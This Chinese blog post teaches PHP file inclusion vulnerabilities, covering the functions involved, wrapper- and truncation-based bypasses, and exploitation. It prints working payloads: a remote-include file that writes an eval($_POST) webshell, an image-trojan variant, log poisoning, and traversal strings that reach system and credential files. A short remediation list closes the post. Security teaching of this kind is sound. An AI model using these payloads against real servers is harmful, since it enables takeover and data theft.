文件包含漏洞

0x01文件包含漏洞简介

 

允许用户输入更改包含在服务器端的文件,导致恶意代码执行及敏感信息泄露,主要形式包括本地文件包含和远程文件包含两种形式。

 

0x02涉及函数

涉及函数:

include():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

include_once():和include()相同,区别在于当重复调用同一文件时,程序只调用一次。

require():找不到被包含的文件时会产生致命错误,并停止脚本运行。

require_once():与require()类似,唯一区别是如果该文件中的代码已经被包含,不会再次包含。

 

0x03 绕过手法

 

 伪协议绕过

远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On , payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式

PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式

Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式

data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On

长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

 

 %00截断

条件是magic_quotes_gpc打开,而且php版本小于5.3.4。

特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ? * 等
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

还有一些共通的绕过手法如双写、大小写等等

 

 

0x04 文件包含存在位置

 

大多数PHP网站,具有和漏洞相关的文件包含函数以及文件包含函数中存在动态变量,且用户能够控制该变量,这些网站可能存在文件包含漏洞。

 

0x05 文件包含利用

读取敏感信息

如:
Windows:

c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini             php配置文件
c:\windows\my.ini               mysql配置文件

远程包含shell

test.txt文件,可以保存在远程服务器上,内容如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[123]);?>")?>

 如果目标网站存在远程包含漏洞,则可以通过访问:xxx.com则会在服务器根目录下生产一个shell.php内容为:

<?php   eval($_POST[123]);?>

本地包含配合文件上传

如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传
上传一个图片木马a.jpg,内容为:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

访问URL:在本地生成shell.php。

本地包含配合apache日志拿shell

  apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

 

截断包含

有些开发者为了防止本地包含漏洞,会编写一下代码:

<?php
    Include  $_GET['page'].".php"
?>

新建1.jpg:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

  这样的话比如上传一个1.jpg图片码,则访问时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问


0x06 文件包含常见形式

常见的文件包含漏洞的形式为 <?php include("inc/" $_GET['file']); ?>

考虑常用的几种包含方式为

同目录包含 file=.htaccess

目录遍历 ?file=../../../../../../../../../var/lib/locate.db

日志注入 ?file=../../../../../../../../../var/log/apache/error.log

利用 /proc/self/environ其中日志可以使用SSH日志或者Web日志等多种日志来源测试

0x07 修复方式

1、PHP 中使用 open_basedir 配置限制访问在指定的区域,防止目录遍历

2、过滤点、反斜杠等特殊字符或使用str_replace等方法过滤掉危险字符

3、尽量关闭allow_url_include配置

4、版本升级,防止%00截断

5、对上传的文件重命名,防止被读取

6、动态包含文件设置白名单,不读取非白名单的文件



 
 

 

posted @ 2021-02-03 12:11  M1sc  阅读(131)  评论(0)    收藏  举报